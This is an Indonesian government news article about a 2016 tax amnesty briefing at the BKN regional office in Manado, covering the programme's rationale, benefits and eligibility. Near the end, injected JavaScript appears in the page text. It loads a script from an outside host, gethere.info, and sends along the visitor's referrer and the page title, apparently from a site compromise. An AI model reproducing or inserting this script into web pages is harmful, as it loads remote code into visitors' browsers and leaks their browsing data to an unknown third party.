Sosialisasi Amnesti Pajak di Kanreg Manado

20160909_162712

 

Manado, Humas Kanreg XI BKN. Dalam rangka memberikan pemahaman mengenai pengampunan pajak kepada seluruh pegawai, Kantor Regional XI BKN Manado mengundang Kantor Pelayanan Pajak Pratama Manado untuk memberikan sosialisasi tentang Amnesti Pajak. Acara ini diharapkan dapat memberikan pengetahuan kepada pegawai sebagai wajib pajak.

“Kami ingin menjadi wajib pajak yang baik, dan ingin mengajak orang lain untuk taat pajak,” tegas Kepala Kantor Regional XI BKN Manado, English Nainggolan dalam sambutannya di Aula Maesa, Jumat (09-09-2016).

Caecilia Diah Permatasari, Kepala Seksi Ekstensifikasi dan Penyuluhan KPP Pratama Manado dalam paparannya menyampaikan bahwa setiap wajib pajak mempunyai Account Representative masing-masing. Tax Amnesty adalah hak wajib pajak, yang dapat dimanfaatkan atau tidak. Tax amnesty adalah program pengampunan pajak yang diberikan oleh Pemerintah kepada wajib pajak.

Latar belakang program tax amnesty adalah moderasi pertumbuhan ekonomi global, perekonomian Amerika yang belum stabil, perlambatan pertumbuhan Tiongkok, ketidakpastiaan kebijakan moneter, harga komoditas menurun, dan risiko geopolitik: Timur Tengah dan Brexit. Dampak itu semua bagi Indonesia adalah perlambatan ekonomi Indonesia, defisit neraca perdagangan, defisit anggaran membesar, penurunan laju pertumbuhan sektor industri/manufaktur, dan infrastucture gap yang masih tinggi.

Dengan menurunnya pertumbuhan ekonomi di Indonesia, maka perlu mencari sumber investasi dari luar negeri agar peluang investasi di Indonesia terbuka lebar, dengan cara repatriasi atau pengalihan dana WNI ke dalam negeri.

Latar belakang dan penjelasan mengenai kebijakan amnesti pajak dijelaskan secara detail oleh Hanni Purwati, Account Representative KPP Pratama Manado.

Ada enam keuntungan amnesti pajak, yaitu: (1) Penghapusan pajak yang seharusnya terutang; (2) Tidak dikenai sanksi administrasi dan sanksi pidana perpajakan; (3) Tidak dilakukan pemeriksaan, pemeriksaan bukti permulaan, dan penyidikan; (4) Penghentian proses pemeriksaan, pemeriksaan bukti permulaan atau penyidikan; (5) Jaminan Rahasia, data pengampunan pajak tidak dapat dijadikan dasar penyelidikan dan penyidikan tindak pidana apa pun; dan (6) Pembebasan pajak penghasilan untuk balik nama harta tambahan.

Yang berhak mendapatkan amnesti pajak adalah Badan, Orang Pribadi, Pengusaha Omzet Tertentu dan Orang Pribadi/Badan yang belum ber-NPWP.

“Amnesti pajak bersifat self assesment, karena wajib pajak sendiri yang menilai perlu tidaknya untuk mengikuti Tax Amnesty,” tutur Sari. faye

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

439 Total kunjungan 1 Kunjungan hari ini

You may also like...